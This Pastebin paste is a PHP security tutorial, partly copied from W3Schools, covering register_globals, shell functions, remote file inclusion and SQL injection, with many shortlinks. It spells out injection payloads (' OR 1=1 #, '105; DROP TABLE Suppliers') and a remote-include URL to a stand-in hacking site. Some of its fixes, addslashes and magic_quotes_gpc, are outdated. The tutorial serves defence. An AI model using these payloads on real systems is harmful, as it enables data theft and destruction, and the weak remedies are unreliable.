Guest User

Untitled

a guest
Jan 7th, 2017
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.99 KB | None | 0 0
  1. Secure Your PHP Scripts ? ;
  2.  
  3. PHP security is very important, as insecure php code can trigger in intrusion to your server. This article explains few such vulnerabilities, so that you can avoid them in your scripts. I will also explain methods to tweak PHP config files(php.ini) for maximum security.
  4. PHP run with Nobody Permission
  5. Problem:
  6. In Cpanel servers PHP runs with nobody permission. This may become a major security issue if the permission you have given is 777. This will allow the ‘ nobody ‘ user to edit the file and execute it. So always keep an eye on the permissions of your files.
  7. Solution :
  8. Always set the php script permission to 755 so that others cannot edit or change it. Enable PHPsuexec on the server. PHPsuexec will not allow php script to run as 777 permissions and also users cannot read another users’s file. In PHPsuexec enabled servers, its common to find out the source of spamming from php scripts using mail() functions. So in shared-servers, always enable phpsuexec for maximum security.
  9. Issues with global variables
  10. What is the difference between local and global variables ...? URL ;( http://j.gs/8gFQ )
  11. Local and Global variables ? URL ; ( http://j.gs/8gFU )
  12. Problem:
  13. Using register_globals makes your coding easier. With register_globals=ON you can pass values to another php page. But making register_globals=ON can make your scripts vulnerable. Since php does not require the variables to be initialized users can assign any values to them using register_globals. With a creative mind anyone can access the protected area of the code. Here is an example.
  14. Consider this as password.php
  15. if ($KEY == "XXXX") {$check = 1;}
  16. if ($check == 1) { //YOUR CODE GOES HERE( admin area)}
  17. You can pass values as “password.php?$check=1” and will allow you to go to the “admin area” whether you entered correct KEY or not.
  18. Solution:
  19. One way is to disable register_globals but this will make you difficult for your coding. Otherwise make sure that you have initialized the variables.In this case initialize $check = 0. You can enable register_globals in your server but always note the security issues with it.? sources URL ; http://q.gs/BSbkH
  20. Problems with functions like exec() , system() and backticks ? URL sources ; http://j.gs/8gF9
  21. Solution:
  22. Disable insecure functions using disable_functions in php.ini ?
  23. security - PHP: How To Disable Dangerous Functions ? URL ; ( http://j.gs/8gFa )
  24. You can use like ,
  25. disable_functions = system,exec
  26. Also you can use EsacpeShellCmd() before passing the value to system() or exec() functions. It will escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.
  27. EscapeShellArg() can also be used for the same purpose. It will put single quotes around the string. So it will escape any existing single quotes in the string. URL ; http://j.gs/8gF9
  28.  
  29. Including Files
  30. You can include a php script in other php page with ‘ include ‘ .
  31. But if the page path is passed as a variable then you may get in trouble. The user can include a remote file which may contain malicious scripts. The hacker can also include other local files also.
  32. If our php page include.php is like
  33. $page=$_GET['path'];
  34. include $page;
  35. Then, “include.php?path=http://hackingsite.com/hacking.php” will include the remote file hacking.php so that hacker can execute the hacking.php script in your server. URL ; ( http://j.gs/8gFE )
  36.  
  37. Solution:
  38. You can disable the inclusion of remote files by editing the value of allow_url_fopen. Set this as OFF in php.ini. Also set the open_basedir correctly in the php.ini . Using open_basedir will restrict the file inclusion upto to the defined directory. Also check the file name with a ‘switch’ or ‘if’ to make sure that it is an allowed one.
  39. SQLInjection Attacks
  40. Problem:
  41. PHP is well packaged for its use with mysql.But using some simple techniques others can hack into your database. If your script is not secured well users can execute any sql commands.
  42. Let me explain an example.
  43. $user = $_POST['username'];
  44. $pass = $_POST['password'];
  45. $result = mysql_query("SELECT AcctNo FROM Users WHERE
  46. Username = '".$user."' and Password = '".$pass."'");
  47. Consider one user has entered a username as
  48. ‘ OR 1=1 #
  49. and password as XXXX
  50. Then our query will be
  51. SELECT AcctNo FROM Users WHERE Username = '' OR 1=1 #' and Password = 'XXXX'
  52. Mysql consider all after the ‘#’ as comments so it will ignore it. So with
  53. the remaining query it will always select all the account numbers and will
  54. return it. So the user can get the account numbers even though he does not have any correct username and pasword.
  55. Also giving password: as some_value’ OR ‘X’=’X will also bypass this query.
  56. Remedy:
  57. The problem here come from the ‘ (single quotes) entered by the user. In order to disable it we have two ways. First is the function addslashes() . It will add a /(slash) before all ‘ (quotes) so it will be have no effect. So before executing the query you should pass it addslashes() function. That is, it should be like
  58. $user = addslashes($_POST['username']);
  59. $pass = addslashes($_POST['password']);
  60. Another option is using the magic_quotes_gpc . You can set its value as ‘On’ in the php.ini . If it is On then it will add a backslash before all single quotes and double quotes in the string comming from a HTML form. So we can escape it.
  61. Upto now i have described some of the common mistakes that can come across your php scripts. Next i am going explain about some of the security measures that you have to note for securing your php.
  62. SQL Injection - W3Schools URL (http://j.gs/8gFE )
  63. What is SQL Injection (SQLi) ? URL : ( http://j.gs/8gFJ )
  64. SQL Injection
  65. An SQL Injection can destroy your database.
  66.  
  67. SQL in Web Pages
  68. In the previous chapters, you have learned to retrieve (and update) database data, using SQL. URL ; ( http://j.gs/8gFE )
  69.  
  70. When SQL is used to display data on a web page, it is common to let web users input their own search values. URL ; ( http://j.gs/8gFj )
  71.  
  72. Since SQL statements are text only, it is easy, with a little piece of computer code, to dynamically change SQL statements to provide the user with selected data:
  73.  
  74. Server Code
  75. txtUserId = getRequestString("UserId");
  76. txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
  77. The example above, creates a select statement by adding a variable (txtUserId) to a select string. The variable is fetched from the user input (Request) to the page.
  78.  
  79. The rest of this chapter describes the potential dangers of using user input in SQL statements. URL ; ( http://j.gs/8gFk )
  80.  
  81. SQL Injection
  82. SQL injection is a technique where malicious users can inject SQL commands into an SQL statement, via web page input.?
  83. URL ; ( http://j.gs/8gFp )
  84.  
  85. Injected SQL commands can alter SQL statement and compromise the security of a web application. ? URL ; ( http://j.gs/8gFx )
  86.  
  87. SQL Injection Based on 1=1 is Always True
  88. Look at the example above, one more time.
  89.  
  90. Let's say that the original purpose of the code was to create an SQL statement to select a user with a given user id.?
  91. URL ; (http://j.gs/8gG0 )
  92.  
  93. If there is nothing to prevent a user from entering "wrong" input, the user can enter some "smart" input like this:
  94.  
  95. UserId:
  96.  
  97. 105 or 1=1
  98.  
  99. Server Result
  100. SELECT * FROM Users WHERE UserId = 105 or 1=1;
  101. The SQL above is valid. It will return all rows from the table Users, since WHERE 1=1 is always true.
  102.  
  103. Does the example above seem dangerous? What if the Users table contains names and passwords?
  104.  
  105. The SQL statement above is much the same as this:
  106.  
  107. SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;
  108. A smart hacker might get access to all the user names and passwords in a database by simply inserting 105 or 1=1 into the input box.?
  109. URL ; (http://j.gs/8gG4 )
  110.  
  111. SQL Injection Based on ""="" is Always True
  112. Here is a common construction, used to verify user login to a web site:
  113.  
  114. User Name:
  115.  
  116. John Doe
  117.  
  118. Password:
  119.  
  120. myPass
  121.  
  122. Server Code
  123. uName = getRequestString("UserName");
  124. uPass = getRequestString("UserPass");
  125.  
  126. sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'
  127. Result
  128. SELECT * FROM Users WHERE Name ="John Doe" AND Pass ="myPass"
  129. A smart hacker might get access to user names and passwords in a database by simply inserting " or ""=" into the user name or password text box:
  130.  
  131. User Name:
  132.  
  133. " or ""="
  134.  
  135. Password:
  136.  
  137. " or ""="
  138.  
  139. The code at the server will create a valid SQL statement like this:
  140. ? URL ; (http://j.gs/8gFj )
  141. Result
  142. SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""
  143. The result SQL is valid. It will return all rows from the table Users, since WHERE ""="" is always true.
  144.  
  145. SQL Injection Based on Batched SQL Statements
  146. Most databases support batched SQL statement, separated by semicolon.
  147.  
  148. Example
  149. SELECT * FROM Users; DROP TABLE Suppliers
  150. The SQL above will return all rows in the Users table, and then delete the table called Suppliers.
  151.  
  152. If we had the following server code:
  153.  
  154. Server Code
  155. txtUserId = getRequestString("UserId");
  156. txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
  157. And the following input:
  158.  
  159. User id:
  160.  
  161. 105; DROP TABLE Suppliers
  162.  
  163. The code at the server would create a valid SQL statement like this:
  164.  
  165. Result
  166. SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers ? URL ; ( http://j.gs/8gG6 )
  167. Parameters for Protection
  168. Some web developers use a "blacklist" of words or characters to search for in SQL input, to prevent SQL injection attacks.
  169.  
  170. This is not a very good idea. Many of these words (like delete or drop) and characters (like semicolons and quotation marks), are used in common language, and should be allowed in many types of input.
  171.  
  172. (In fact it should be perfectly legal to input an SQL statement in a database field.)
  173.  
  174. The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters.
  175.  
  176. SQL parameters are values that are added to an SQL query at execution time, in a controlled manner.
  177.  
  178. ASP.NET Razor Example
  179. txtUserId = getRequestString("UserId");
  180. txtSQL = "SELECT * FROM Users WHERE UserId = @0";
  181. db.Execute(txtSQL,txtUserId);
  182. Note that parameters are represented in the SQL statement by a @ marker.
  183.  
  184. The SQL engine checks each parameter to ensure that it is correct for its column and are treated literally, and not as part of the SQL to be executed.
  185.  
  186. Another Example
  187. txtNam = getRequestString("CustomerName");
  188. txtAdd = getRequestString("Address");
  189. txtCit = getRequestString("City");
  190. txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
  191. db.Execute(txtSQL,txtNam,txtAdd,txtCit);
  192. You have just learned to avoid SQL injection. One of the top website vulnerabilities.
  193.  
  194. Examples
  195. The following examples shows how to build parameterized queries in some common web languages.? URL ; ( http://j.gs/8gG8 )
  196.  
  197. SELECT STATEMENT IN ASP.NET:
  198.  
  199. txtUserId = getRequestString("UserId");
  200. sql = "SELECT * FROM Customers WHERE CustomerId = @0";
  201. command = new SqlCommand(sql);
  202. command.Parameters.AddWithValue("@0",txtUserID);
  203. command.ExecuteReader();
  204. INSERT INTO STATEMENT IN ASP.NET:
  205.  
  206. txtNam = getRequestString("CustomerName");
  207. txtAdd = getRequestString("Address");
  208. txtCit = getRequestString("City");
  209. txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
  210. command = new SqlCommand(txtSQL);
  211. command.Parameters.AddWithValue("@0",txtNam);
  212. command.Parameters.AddWithValue("@1",txtAdd);
  213. command.Parameters.AddWithValue("@2",txtCit);
  214. command.ExecuteNonQuery();
  215. INSERT INTO STATEMENT IN PHP:
  216.  
  217. $stmt = $dbh->prepare("INSERT INTO Customers (CustomerName,Address,City)
  218. VALUES (:nam, :add, :cit)");
  219. $stmt->bindParam(':nam', $txtNam);
  220. $stmt->bindParam(':add', $txtAdd);
  221. $stmt->bindParam(':cit', $txtCit);
  222. $stmt->execute(); .......http://j.gs/8gF9
  223. Query Parameterization Cheat Sheet - OWASP http://q.gs/BSkYX
  224. SQL Injection Prevention Cheat Sheet http://j.gs/8gGH
  225. Cryptographic Solutions for Secure Online Banking and Commerce http://j.gs/8gGM
  226. SQL Injection Attacks and Defense http://j.gs/8gGN
  227. Prepared statement http://j.gs/8gGO
Add Comment
Please, Sign In to add comment